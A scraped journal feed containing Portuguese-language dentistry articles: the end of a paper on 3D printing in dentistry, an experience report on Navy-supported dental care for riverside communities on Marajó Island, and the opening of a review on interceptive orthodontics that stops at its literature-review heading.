<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="597" height="210" src="https://revistaft.com.br/wp-content/uploads/2026/01/image-221.png" alt="" class="wp-image-262453" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/image-221.png 597w, https://revistaft.com.br/wp-content/uploads/2026/01/image-221-300x106.png 300w" sizes="(max-width: 597px) 100vw, 597px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: https://www.dentsplysirona.com</p>



<p class="wp-block-paragraph"><strong>CONCLUSÃO&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">A impressão 3D se estabeleceu como uma ferramenta versátil possibilitando a confecção de estruturas personalizadas com alta precisão anatômica. Os benefícios observados incluem a redução do tempo clínico e laboratorial, e a elevação da qualidade final dos tratamentos. Contudo, ainda se impõem obstáculos a serem superados, como o alto custo para aquisição dos equipamentos, a demanda por capacitação técnica contínua e a limitação de materiais compatíveis com todos os protocolos clínicos. As perspectivas futuras da impressão 3D na Odontologia incluem o desenvolvimento de novos biomateriais com propriedades físico-químicas, que combinem biocompatibilidade, resistência mecânica, estabilidade dimensional e estética aprimorada. Adicionados a isso, a incorporação de tecnologias emergentes, como a inteligência artificial e a ampliação do acesso ao aprendizado, favorecida pela redução dos custos de aquisição e manutenção de impressoras 3D e insumos.</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS BIBLIOGRÁFICAS&nbsp;&nbsp;</strong></p>



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<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"><sup>1</sup>Departamento de Odontoclínica, Universidade Federal Fluminense, Niterói, Brasil.<br><sup>2</sup>Graduanda em Odontologia pela UFF.<br><sup>3</sup>Graduanda em Odontologia pela UFF.<br><sup>4</sup>Graduando em Odontologia pela UFF.<br><sup>5</sup>Graduanda em Odontologia pela UFF.</p>



<ol start="4" class="wp-block-list">
<li></li>
</ol>
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			</item>
		<item>
		<title>AÇÃO CÍVICO-SOCIAL (ACISo): A EXPERIÊNCIA DA ODONTOLOGIA POR RESIDENTES DE ESTRATÉGIA SAÚDE DA FAMÍLIA NA ILHA DO MARAJÓ, PARÁ</title>
		<link>https://revistaft.com.br/acao-civico-social-aciso-a-experiencia-da-odontologia-por-residentes-de-estrategia-saude-da-familia-na-ilha-do-marajo-para/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Thu, 08 Jan 2026 14:48:21 +0000</pubDate>
				<category><![CDATA[Odontologia]]></category>
		<category><![CDATA[Volume 30 - Edição 154/JAN 2026]]></category>
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					<description><![CDATA[CIVIC-SOCIAL ACTION (ACISo): THE EXPERIENCE OF DENTISTRY BY RESIDENTS OF THE FAMILY HEALTH STRATEGY ON MARAJÓ ISLAND, PARÁ REGISTRO DOI: 10.69849/revistaft/cl10202601081146 Raquel Rodrigues Bastos1Nayara Akemi Tsunemitsu1Jennifer da Silva Mendes do Rosário1Mayra Trindade Pantoja Leão2 Resumo O presente artigo constitui um relato de experiência vivenciado por residentes de odontologia do Programa de Residência Multiprofissional em Estratégia [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">CIVIC-SOCIAL ACTION (ACISo): THE EXPERIENCE OF DENTISTRY BY RESIDENTS OF THE FAMILY HEALTH STRATEGY ON MARAJÓ ISLAND, PARÁ</p>



<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202601081146</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Raquel Rodrigues Bastos<sup>1</sup><br>Nayara Akemi Tsunemitsu<sup>1</sup><br>Jennifer da Silva Mendes do Rosário<sup>1</sup><br>Mayra Trindade Pantoja Leão<sup>2</sup></p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>Resumo</strong></p>



<p class="wp-block-paragraph">O presente artigo constitui um relato de experiência vivenciado por residentes de odontologia do Programa de Residência Multiprofissional em Estratégia Saúde da Família, os quais participaram de atividades cívico-sociais em comunidades ribeirinhas localizadas nos municípios de Soure, Ponta de Pedras, Muaná e Melgaço, situados na região da Ilha do Marajó, estado do Pará. As ações foram realizadas em parceria com a equipe de saúde do Hospital Naval de Belém, pertencente à Marinha do Brasil, durante expedição ocorrida entre os dias 20 de julho e 2 de agosto de 2025. As atividades tiveram como objetivo oferecer assistência integral e humanizada a populações em situação de vulnerabilidade social e geográfica, cuja realidade é marcada pelo acesso restrito aos serviços de saúde. Foram desenvolvidas ações educativas, preventivas e clínicas, com ênfase na promoção da saúde bucal e geral, alinhadas aos princípios da Atenção Primária à Saúde e da integralidade do cuidado. Além de fortalecer o vínculo entre profissionais e comunidade, a experiência possibilitou aos residentes uma vivência prática e reflexiva sobre os desafios e potencialidades da atuação odontológica em contextos de difícil acesso, contribuindo para sua formação ética, técnica e humanista.</p>



<p class="wp-block-paragraph"><strong>Palavras-chave:</strong> Residência em Odontologia; Saúde Pública; Militares.</p>



<p class="wp-block-paragraph"><strong>Abstract</strong></p>



<p class="wp-block-paragraph">This article is a report on the experience of dentistry residents of the Multiprofessional Residency Program in Family Health Strategy, who participated in civic and social activities in riverside communities located in the municipalities of Soure, Ponta de Pedras, Muaná, and Melgaço, located in the Marajó Island region, Pará state. These activities were carried out in partnership with the healthcare team at the Belém Naval Hospital, part of the Brazilian Navy, during an expedition that took place between July 20 and August 2, 2025. The activities aimed to provide comprehensive and humane care to populations in situations of social and geographic vulnerability, whose reality is marked by limited access to health services. Educational, preventive, and clinical initiatives were developed, with an emphasis on promoting oral and general health, aligned with the principles of Primary Health Care and comprehensive care. In addition to strengthening the bond between professionals and the community, the experience provided residents with practical and reflective experience on the challenges and potential of dental practice in difficult-to-access settings, contributing to their ethical, technical, and humanistic development.</p>



<p class="wp-block-paragraph"><strong>Keywords: </strong>Dental Residency. Public Health. Military Personnel.</p>



<p class="wp-block-paragraph"><strong>1.</strong> <strong>INTRODUÇÃO</strong></p>



<p class="wp-block-paragraph">A Ação Cívico-Social (ACISO) constitui um conjunto de atividades de caráter temporário, planejadas e executadas com o propósito de oferecer assistência a comunidades, promovendo espírito comunitário entre os cidadãos, além de fornecer materiais, instrumentos e recursos pessoais. A Marinha do Brasil coordena, planeja e executa essas ações em conjunto com civis, oferecendo assistência médica, odontológica e previdenciária, a fim de resolver demandas imediatas ou permanentes de populações mais necessitadas.</p>



<p class="wp-block-paragraph">A Ilha do Marajó, localizada no estado do Pará, configura-se como o maior arquipélago fluviomarinho do planeta, composto por inúmeras ilhas interligadas por extensas áreas de várzea. Essas localidades são habitadas predominantemente por comunidades tradicionais ribeirinhas, cuja organização socioeconômica e cultural está intimamente relacionada ao ambiente natural. Entretanto, as particularidades geográficas — como a ausência de estradas pavimentadas e a dependência quase exclusiva do transporte fluvial — constituem obstáculos significativos ao acesso a serviços públicos essenciais, especialmente nas áreas de saúde e educação. Além das barreiras territoriais, o Marajó enfrenta expressivos desafios sociais. No campo educacional, observam-se elevados índices de evasão escolar e deficiência estrutural nas unidades de ensino. No âmbito da saúde, as dificuldades são ainda mais acentuadas, com alta incidência de doenças infecciosas, como malária e dengue, além da persistência de quadros de desnutrição em determinadas comunidades.</p>



<p class="wp-block-paragraph">A condição de saúde bucal observada nessas populações ribeirinhas apresenta alta prevalência de cárie dentária, perda de elementos dentários e doença periodontal. Esse quadro evidencia as iniquidades no acesso aos serviços de saúde enfrentadas por esses grupos, refletindo o impacto dos determinantes sociais na qualidade de vida da população. Os indicadores sociais característicos dessas comunidades – incluindo baixo nível socio-econômico e escolaridade reduzida – demonstram associação significativa com o limitado acesso aos serviços odontológicos.</p>



<p class="wp-block-paragraph">Diante desse contexto, a ACISo foi realizada em quatro municípios da Ilha Marajó: Soure, Ponta de Pedras, Muaná e Melgaço, por apresentar necessidades urgentes e demandas de saúde reprimidas. Assim, esse artigo visa relatar a experiência de residentes de odontologia do Programa de Saúde da Família da Universidade do Estado do Pará em conjunto com a equipe odontológica do Hospital Naval de Belém (HNBe), evidenciando o impacto dessas ações como forma de amenizar as desigualdades sócio-sanitárias nas comunidades ribeirinhas.</p>



<p class="wp-block-paragraph"><strong>2.</strong> <strong>METODOLOGIA</strong></p>



<p class="wp-block-paragraph">O presente estudo caracteriza-se como uma pesquisa qualitativa, de natureza descritiva, do tipo relato de experiência, com ênfase na área da assistência à saúde. A experiência refere-se à participação de residentes do Programa Multiprofissional em Estratégia Saúde da Família (ESF), da Universidade do Estado do Pará (UEPA), na Ação Cívico-Social (ACISO) realizada entre os dias 20 de julho e 2 de agosto de 2025 em comunidades ribeirinhas dos municípios de Soure, Ponta de Pedras, Muaná e Melgaço, localizados na Ilha do Marajó, estado do Pará.</p>



<p class="wp-block-paragraph">A pesquisa fundamenta-se em uma abordagem observacional sistemática, que dispensa a formulação de hipóteses, priorizando a análise e correlação entre dados empíricos e referenciais teóricos. De acordo com Lakatos e Marconi (2017), relatos de experiência configuram-se como um método de investigação que documenta vivências práticas, registrando eventos significativos e refletindo sobre as aprendizagens decorrentes da execução de projetos ou intervenções específicas.</p>



<p class="wp-block-paragraph">As ações foram coordenadas pela Marinha do Brasil e contaram com a participação de seis residentes vinculados ao programa multiprofissional da UEPA — duas cirurgiãs-dentistas, duas enfermeiras e duas terapeutas ocupacionais. As atividades foram desenvolvidas em parceria com profissionais de saúde da Odonto-Clínica do Hospital Naval de Belém (HNBe), que acompanharam os atendimentos odontológicos prestados à população.</p>



<p class="wp-block-paragraph">O fluxo assistencial odontológico seguiu as etapas de triagem, aferição de pressão arterial, glicemia capilar e temperatura corporal, seguidas de atendimento clínico. Os dados foram coletados a partir da observação direta das práticas desenvolvidas e das fichas de atendimento individuais e coletivas preenchidas pelos profissionais durante as consultas. Esses registros funcionaram como instrumentos de controle e monitoramento, contendo informações epidemiológicas e descrição dos procedimentos realizados na clínica odontológica instalada a bordo do Navio-Auxiliar (NA) Pará.</p>



<p class="wp-block-paragraph">Por tratar-se de um relato de experiência baseado em observação direta, não se fez necessária a obtenção de Termo de Consentimento Livre e Esclarecido (TCLE). Contudo, todas as ações seguiram os princípios éticos da pesquisa em saúde, assegurando a confidencialidade e a privacidade dos dados.</p>



<p class="wp-block-paragraph"><strong>3.</strong> <strong>RELATO DA EXPERIÊNCIA</strong></p>



<p class="wp-block-paragraph">Os residentes foram recepcionados em 20 de julho de 2025 por representantes da Marinha do Brasil na Base Naval de Val de Cães, em Belém (PA), onde se encontrava atracado o Navio-Auxiliar (NA) Pará, embarcação que serviu simultaneamente como alojamento e unidade de trabalho durante os 14 dias de expedição. A bordo, encontrava-se uma equipe multidisciplinar composta por tripulantes da Marinha, incluindo marinheiros e fuzileiros navais, além de profissionais de saúde do Hospital Naval de Belém (HNBe), entre os quais médicos, nutricionista, enfermeiros, farmacêutica, técnicos de enfermagem e técnicos de laboratório. Integravam ainda o contingente a assessoria jurídica, membros da Organização Não Governamental (ONG) Américas Amigas, convidados e voluntários civis.</p>



<p class="wp-block-paragraph">A equipe de residência do Programa Multiprofissional em Estratégia Saúde da Família, vinculada à Universidade do Estado do Pará (UEPA), era formada por seis profissionais, sendo duas terapeutas ocupacionais, duas cirurgiãs-dentistas e duas enfermeiras. No mesmo dia da chegada, foi realizada a reunião inaugural com todos os participantes da missão, na qual foram apresentadas as diretrizes operacionais da embarcação, a rotina de bordo e a estrutura organizacional dos serviços de saúde que seriam executados ao longo da ação.</p>



<p class="wp-block-paragraph">As atividades assistenciais tiveram início após o alinhamento das equipes e se estenderam pelos municípios de Soure, Ponta de Pedras, Muaná e Melgaço, localizados no arquipélago do Marajó (PA). A missão teve duração total de 14 dias, com carga horária semanal de 32 horas, organizada em regime alternado: dois dias consecutivos de atendimento (com jornada diária de oito horas) seguidos de um dia de deslocamento da embarcação até o município subsequente.</p>



<p class="wp-block-paragraph">A estrutura odontológica do NA Pará era composta por duas cadeiras odontológicas completas, dois compressores (um principal e um reserva) e um aparelho de ultrassom odontológico. Apesar de o consultório possuir suporte técnico para radiografias periapicais digitais, essa funcionalidade encontrava-se inoperante devido à ausência da placa digital necessária para o exame.</p>



<p class="wp-block-paragraph">Do ponto de vista assistencial, as ações concentraram-se na atenção primária em saúde bucal, com enfoque na resolutividade dos casos e na satisfação dos usuários. A demanda predominante consistiu em atendimentos de urgência odontológica, sendo realizados procedimentos preventivos, restauradores e cirúrgicos, conforme segue:</p>



<p class="wp-block-paragraph">a) Medidas preventivas: orientação de higiene bucal, profilaxia e aplicação tópica de flúor;</p>



<p class="wp-block-paragraph">b) Terapia periodontal: raspagem e alisamento radicular supra e subgengival por sextante;</p>



<p class="wp-block-paragraph">c) Dentística restauradora: restaurações com resina composta (anteriores e posteriores) e ionômero de vidro;</p>



<p class="wp-block-paragraph">d) Cirurgias menores: exodontias de elementos decíduos e permanentes;</p>



<p class="wp-block-paragraph">e) Tratamentos paliativos: curativos de demora em dentes indicados para tratamento endodôntico.</p>



<p class="wp-block-paragraph">Os atendimentos foram classificados em três categorias principais: procedimentos odontológicos gerais, procedimentos preventivos não pediátricos e procedimentos odontopediátricos. No total, foram realizados 676 procedimentos gerais, 2.010 procedimentos preventivos não pediátricos e 451 procedimentos odontopediátricos (Tabela 1).</p>



<p class="wp-block-paragraph">Identificou-se, contudo, limitação técnica para a execução de procedimentos de maior complexidade, como as exodontias de terceiros molares, que exigiram encaminhamento para serviços especializados. Essa limitação evidenciou uma lacuna assistencial relevante, uma vez que os municípios visitados não dispõem de atendimento odontológico especializado pelo Sistema Único de Saúde (SUS), obrigando os usuários a deslocarem-se até localidades vizinhas com infraestrutura adequada.</p>



<p class="wp-block-paragraph">Essa constatação reforça a relevância de ações interinstitucionais como a ACISo, que, mesmo diante de restrições logísticas e estruturais, viabilizam o acesso a cuidados odontológicos básicos e contribuem significativamente para a redução das desigualdades em saúde em populações ribeirinhas e de difícil acesso.</p>



<p class="wp-block-paragraph"><strong>4.</strong> <strong>CONSIDERAÇÕES FINAIS</strong></p>



<p class="wp-block-paragraph">A experiência vivenciada pelos residentes em Odontologia na Ilha do Marajó, estado do Pará, evidenciou a relevância das ações de promoção da saúde bucal como estratégia essencial no enfrentamento das desigualdades socioespaciais, sobretudo em regiões de difícil acesso geográfico. A intervenção possibilitou a oferta de assistência odontológica à população, contribuindo significativamente para a ampliação do acesso aos cuidados básicos em saúde bucal e para a redução das iniquidades assistenciais. Para além do caráter assistencial, a Ação Cívico-Social (ACISO) configurou-se como um espaço formativo ampliado, favorecendo o desenvolvimento de competências clínicas, comunicacionais e colaborativas entre os residentes. Essa vivência prática reafirmou o papel da Estratégia Saúde da Família (ESF) como eixo estruturante da formação em saúde, pautada na integralidade do cuidado, no trabalho em equipe e na valorização dos determinantes sociais da saúde. Assim, a inserção de residentes em ações interinstitucionais dessa natureza não apenas fortalece os princípios e diretrizes do Sistema Único de Saúde (SUS), mas também contribui para a promoção da equidade e para a consolidação de práticas profissionais comprometidas com a transformação social e o cuidado humanizado.</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS</strong></p>



<p class="wp-block-paragraph">BRASIL. Marinha do Brasil. Comando da Força de Fuzileiros da Esquadra. <em>Ações Cívico-Sociais</em>. Disponível em: https://www.marinha.mil.br/comffe/node/11.</p>



<p class="wp-block-paragraph">GONÇALVES, Amanda Cristina Oliveira; CORNETTA, Andrei; ALVES, Fábio; BARBOSA, Leonard Jeferson Grala. Marajó. In: BRASIL. Instituto de Pesquisa Econômica Aplicada (Ipea). <em>A função socioambiental do patrimônio da União na Amazônia</em>. Brasília: Ipea, 2014. Cap. 5. Disponível em: https://repositorio.ipea.gov.br/handle/11058/12254. Acesso em: 7 out. 2025.</p>



<p class="wp-block-paragraph">CASARIN, S. T.; PORTO, A. R. Relato de Experiência e Estudo de Caso: algumas considerações / Experience Report and Case Study: some considerations. <strong>Journal of Nursing and Health</strong>, v. 11, n. 4, 22 nov. 2021.</p>



<p class="wp-block-paragraph"><strong>LAKATOS, Eva Maria; MARCONI, Marina de Andrade. Fundamentos de metodologia científica. 5. ed. São Paulo: Atlas, 2003. — Olivia Neta.</strong> Disponível em: <a href="https://docente.ifrn.edu.br/olivianeta/disciplinas/copy_of_historia-i/historia-ii/china-e-india/view">https://docente.ifrn.edu.br/olivianeta/disciplinas/copy_of_historia-i/historia-ii/china-e-india/view</a>&gt;.</p>



<p class="wp-block-paragraph">MARLON. Marajó: <strong>Os Desafios por Trás de um dos Piores IDHs do Brasil &#8211; O Marajó</strong>. Disponível em: &lt;https://omarajo.com/2025/02/20/marajo-os-desafios-por-tras-de-um-dos-piores-idhs-do-brasil/&gt;. Acesso em: 15 ago. 2025.</p>



<p class="wp-block-paragraph">REIS, L. A. DE O. DOS et al. Association between racial iniquities and oral health status: a systematic review. <strong>Ciência &amp; Saúde Coletiva</strong>, v. 29, p. e04882023, 4 mar. 2024.</p>



<p class="wp-block-paragraph"><strong>Vista do Condições de saúde bucal de comunidades tradicionais quilombolas do Marajó e a política de saúde bucal “Brasil Sorridente”</strong>. Disponível em: &lt;https://ojs.revistacontribuciones.com/ojs/index.php/clcs/article/view/6835/4518&gt;. Acesso em: 15 ago. 2025.</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"><sup>1</sup>Residente do Programa Estratégia Saúde da Família, da Universidade do Estado do Pará, Campus CCBS.<br><sup>2</sup>Especialista em Saúde da Família, Universidade do Estado do Pará (UEPA), Preceptora da Residência Multiprofissional em Saúde da Família &#8211; UEPA; Mestranda em Saúde Coletiva na Amazônia &#8211; UFPA e-mail: mayra.leao@yahoo.com.br</p>
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		<title>INTERVENÇÃO ORTODÔNTICA INTERCEPTATIVA NA DENTIÇÃO MISTA: MOMENTO IDEAL E IMPACTOS NO DESENVOLVIMENTO OCLUSAL, FUNCIONAL E ESTÉTICO</title>
		<link>https://revistaft.com.br/intervencao-ortodontica-interceptativa-na-denticao-mista-momento-ideal-e-impactos-no-desenvolvimento-oclusal-funcional-e-estetico/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Fri, 19 Dec 2025 15:31:06 +0000</pubDate>
				<category><![CDATA[Odontologia]]></category>
		<category><![CDATA[Volume 29 – Edição 153/DEZ 2025]]></category>
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					<description><![CDATA[INTERCEPTIVE ORTHODONTIC INTERVENTION IN MIXED DENTITION: IDEAL TIMING AND IMPACTS ON OCCLUSAL, FUNCTIONAL, AND AESTHETIC DEVELOPMENT INTERVENCIÓN ORTODÓNCICA INTERCEPTIVA EN DENTICIÓN MIXTA: MOMENTO IDEAL E IMPACTOS EN EL DESARROLLO OCLUSAL, FUNCIONAL Y ESTÉTICO REGISTRO DOI: 10.69849/revistaft/cl10202512191230 Jéssica Britto Pena Celis1Sabrina Amaral Abade1Sara Sobrinho Oliveira1Meirianny Aparecida Missias Pereira1Camila Gomes Caires1Kamily Victória de Oliveira Silva1Jéssica BritoAndrade1Daniel Ferraz [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">INTERCEPTIVE ORTHODONTIC INTERVENTION IN MIXED DENTITION: IDEAL TIMING AND IMPACTS ON OCCLUSAL, FUNCTIONAL, AND AESTHETIC DEVELOPMENT</p>



<p class="wp-block-paragraph">INTERVENCIÓN ORTODÓNCICA INTERCEPTIVA EN DENTICIÓN MIXTA: MOMENTO IDEAL E IMPACTOS EN EL DESARROLLO OCLUSAL, FUNCIONAL Y ESTÉTICO</p>



<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202512191230</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Jéssica Britto Pena Celis<sup>1</sup><br>Sabrina Amaral Abade<sup>1</sup><br>Sara Sobrinho Oliveira<sup>1</sup><br>Meirianny Aparecida Missias Pereira<sup>1</sup><br>Camila Gomes Caires<sup>1</sup><br>Kamily Victória de Oliveira Silva<sup>1</sup><br>Jéssica BritoAndrade<sup>1</sup><br>Daniel Ferraz Lima<sup>2</sup></p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>Objetivo: </strong>Analisar o momento ideal para a intervenção ortodôntica interceptativa durante a fase de dentição mista e avaliar o impacto do tratamento precoce no desenvolvimento oclusal, funcional e estético de pacientes pediátricos, com base em evidências científicas atuais. <strong>Métodos: </strong>O presente estudo consiste em uma revisão narrativa da literatura, de caráter qualitativo, com o propósito de identificar, avaliar e interpretar as evidências existentes sobre a ortodontia interceptativa na dentição mista, enfatizando o momento ideal para sua aplicação e seus efeitos no desenvolvimento oclusal, funcional e estético. <strong>Revisão Bibliográfica: </strong>Reconhecer alterações no desenvolvimento dentário durante a dentição mista é essencial para evitar que pequenas discrepâncias evoluam para condições mais complexas. Determinar o momento ideal para o início da intervenção interceptativa é desafiador, pois requer compreender tanto o estágio de erupção dentária quanto o desenvolvimento ósseo da criança. Dessa forma, avaliações periódicas ao longo dessa fase tornam-se indispensáveis para identificar precocemente desvios e orientar intervenções adequadas. <strong>Conclusão:</strong> Com diagnóstico precoce e acompanhamento contínuo, torna-se possível guiar a erupção dentária, evitar agravamentos e promover melhor equilíbrio oclusal e funcional.</p>



<p class="wp-block-paragraph"><strong>Palavras-chave: </strong>Ortodontia Interceptativa, Dentição mista, Intervenção ortodôntica, Má Oclusão, Diagnóstico precoce.</p>



<p class="wp-block-paragraph"><strong>ABSTRACT&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>Objective: </strong>To analyze the ideal timing for interceptive orthodontic intervention during the mixed dentition phase and to evaluate the impact of early treatment on the occlusal, functional, and aesthetic development of pediatric patients, based on current scientific evidence. <strong>Methods: </strong>This study consists of a qualitative narrative literature review aimed at identifying, evaluating, and interpreting existing evidence on interceptive orthodontics in mixed dentition, emphasizing the ideal timing for its application and its effects on occlusal, functional, and aesthetic development. <strong>Literature Review: </strong>Recognizing alterations in dental development during mixed dentition is essential to prevent small discrepancies from evolving into more complex conditions. Determining the ideal time to begin interceptive intervention is challenging, as it requires understanding both the stage of dental eruption and the child&#8217;s bone development. Thus, periodic assessments throughout this phase become essential to identify deviations early and guide appropriate interventions. <strong>Conclusion: </strong>With early diagnosis and continuous monitoring, it becomes possible to guide tooth eruption, prevent complications, and promote better occlusal and functional balance<strong>.</strong></p>



<p class="wp-block-paragraph"><strong>Keywords: </strong>Interceptive Orthodontics, Mixed Dentition, Orthodontic Intervention, Malocclusion, Early Diagnosis.</p>



<p class="wp-block-paragraph"><strong>RESUMEN&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>Objetivo: </strong>Analizar el momento óptimo para la intervención ortodóncica interceptiva durante la dentición mixta y evaluar el impacto del tratamiento precoz en el desarrollo oclusal, funcional y estético de pacientes pediátricos, con base en la evidencia científica actual. <strong>Métodos: </strong>Este estudio consiste en una revisión narrativa cualitativa de la literatura, cuyo objetivo es identificar, evaluar e interpretar la evidencia existente sobre la ortodoncia interceptiva en la dentición mixta, haciendo hincapié en el momento óptimo para su aplicación y sus efectos en el desarrollo oclusal, funcional y estético. <strong>Revisión de la literatura:</strong> Reconocer las alteraciones en el desarrollo dental durante la dentición mixta es fundamental para prevenir que pequeñas discrepancias se conviertan en afecciones más complejas. Determinar el momento óptimo para iniciar la intervención interceptiva es un reto, ya que requiere comprender tanto la etapa de erupción dental como el desarrollo óseo del niño. Por lo tanto, las evaluaciones periódicas a lo largo de esta fase son esenciales para identificar desviaciones precozmente y guiar las intervenciones adecuadas. <strong>Conclusión: </strong>Con un diagnóstico precoz y un seguimiento continuo, es posible guiar la erupción dental, prevenir complicaciones y promover un mejor equilibrio oclusal y funcional.</p>



<p class="wp-block-paragraph"><strong>Palabras Clave: </strong>Ortodoncia interceptiva, Dentición mixta, Intervención ortodóncica, Maloclusión, Diagnóstico.</p>



<p class="wp-block-paragraph"><strong>INTRODUÇÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">A perda prematura dos dentes decíduos pode desencadear problemas na oclusão, ocasionando o encurtamento do arco, a extrusão do antagonista e inclinações dos dentes vizinhos, possibilitando o aparecimento de apinhamento e impacções nos elementos dentários permanentes. Maus hábitos prejudiciais à fonação podem ser gerados na criança devido às alterações dos maxilares, resultando em uma postura inadequada da língua (GUIMARÃES; OLIVEIRA., 2017).</p>



<p class="wp-block-paragraph">Quando ocorre a perda precoce de um dente decíduo, antes de haver a formação completa do seu sucessor permanente, o osso é remodelado, formando um tecido fibrótico sobre o germe do dente permanente e gerando retardamento da erupção. Todavia, quando o germe está bem desenvolvido, a erupção do dente permanente pode ocorrer de forma normal, não ocasionando perda de espaço (SOUSA; MOMESSO; ZATTA., 2010; GUIMARÃES; OLIVEIRA., 2017).</p>



<p class="wp-block-paragraph">O conceito de diagnóstico precoce em ortodontia transcende a simples identificação de mal posicionamento dentário, abrangendo uma avaliação abrangente do crescimento e desenvolvimento craniofacial. Durante a dentição mista, o sistema estomatognático encontra-se em constante transformação, caracterizado por processos complexos de erupção dentária, remodelação óssea e adaptação funcional. Compreender esses processos é essencial para distinguir entre variações normais do desenvolvimento e patologias que requerem intervenção terapêutica (FRANCISCO et al., 2024).</p>



<p class="wp-block-paragraph">A importância do diagnóstico adequado na dentição mista fundamenta-se em diversos aspectos. Primeiramente, do ponto de vista biológico, este período caracteriza-se por maior plasticidade dos tecidos ósseos e por uma resposta mais favorável aos estímulos ortopédicos. O crescimento ativo dos maxilares nessa fase permite correções que seriam impossíveis ou muito mais complexas na dentição permanente. Além disso, a presença simultânea de dentes decíduos e permanentes oferece oportunidades únicas para guiar a erupção e o posicionamento dos dentes permanentes (FRANCISCO et al., 2024). A ortodontia interceptativa tem o objetivo de deter uma anormalidade já existente, permitindo que a oclusão siga um desenvolvimento normal (MOTA; CURADO, 2019).</p>



<p class="wp-block-paragraph">Quando as intervenções ortodônticas são realizadas precocemente, observam-se maiores benefícios, com baixo custo tanto econômico quanto biológico (PAULIN et al., 2019). As más oclusões podem ser definidas como a desarmonia da disposição dos dentes nos arcos dentários e sua relação com as bases ósseas e estruturas relacionadas, podendo estabelecer-se tanto na dentição decídua quanto na permanente (LOPEZ et al., 2001; LOPES, 2020; MARTINS et al., 2021). Os fatores etiológicos das más oclusões dividem-se em dois grupos: genéticos e ambientais (GARIB et al., 2013). O código genético envolve a hereditariedade e as alterações genéticas que determinam o tipo facial, o padrão esquelético sagital da face, as discrepâncias dente-osso e diversos tipos de anomalias dentárias (GARIB et al., 2013).</p>



<p class="wp-block-paragraph">Considerando que muitos dos fatores ambientais associados às más oclusões estão relacionados a hábitos orais inadequados e alterações funcionais, os hábitos bucais deletérios tornam-se componentes relevantes no desenvolvimento dessas alterações Tais hábitos são frequentes causadores de danos na dentição decídua, resultantes das variáveis frequência, duração e intensidade do hábito e, quando excedem a tolerância fisiológica, levam ao desequilíbrio do sistema estomatognático e ao desenvolvimento de deformidades oclusais (SILVA FILHO; GARIB, 2013; SILVA et al., 2018). Nesse contexto, manter o espaço de um dente decíduo perdido através da utilização de aparelhos mantenedores ou recuperadores de espaço é essencial para preservar a estabilidade do sistema estomatognático da criança. Esses aparelhos apresentam fácil confecção e instalação, proporcionando resultados clínicos significativos (SOUSA; MOMESSO; ZATTA., 2010; GATTI, MAAHS; BERTHOLD., 2012).</p>



<p class="wp-block-paragraph">Em face do que foi relatado até aqui, o objetivo do presente estudo foi avaliar a importância da abordagem multidisciplinar no diagnóstico e no manejo interceptativo das alterações presentes durante a dentição mista, destacando como a integração entre áreas como ortodontia, odontopediatria e radiologia contribui para uma identificação mais precisa das desordens e para a definição de condutas terapêuticas mais eficazes. Essa integração permite intervenções oportunas, capazes de prevenir agravamentos, otimizar o desenvolvimento craniofacial e favorecer melhores resultados funcionais e estéticos a longo prazo.</p>



<p class="wp-block-paragraph"><strong>MÉTODOS&nbsp;</strong></p>



<p class="wp-block-paragraph">A pesquisa em pauta trata-se de uma narrativa da literatura, de natureza qualitativa, cujo propósito foi compilar, examinar e interpretar as evidências científicas disponíveis acerca de analisar a intervenção Ortodôntica Interceptativa na Dentição Mista no Momento Ideal e Impactos no Desenvolvimento Oclusal, Funcional e Estético.</p>



<p class="wp-block-paragraph">A pesquisa bibliográfica foi conduzida nas bases de dados SciELO, PubMed e Google Escolar, utilizando os descritores: interceptive orthodontics, mixed dentition, early diagnosis. Foram incluídos artigos de 2015 a 2025, disponíveis na íntegra, em português ou inglês, envolvendo seres humanos e relacionados ao tema da revisão.</p>



<p class="wp-block-paragraph">Os critérios de inclusão consideraram artigos publicados entre 2015 à 2025, disponíveis em texto completo, redigidos em português ou inglês, realizados com seres humanos e que abordassem especificamente analisar a intervenção Ortodôntica Interceptativa na Dentição Mista no Momento Ideal e Impactos no Desenvolvimento Oclusal, Funcional e Estético.</p>



<p class="wp-block-paragraph">Por se tratar de uma revisão de literatura, não houve participação direta de seres humanos, dispensando a necessidade de submissão ao Comitê de Ética em Pesquisa. Ressalta-se que foram observados todos os princípios éticos e legais aplicáveis, assegurando a devida citação e referência de todos os autores e estudos consultados.</p>



<p class="wp-block-paragraph"><strong>REVISÃO BIBLIOGRÁFICA</strong></p>



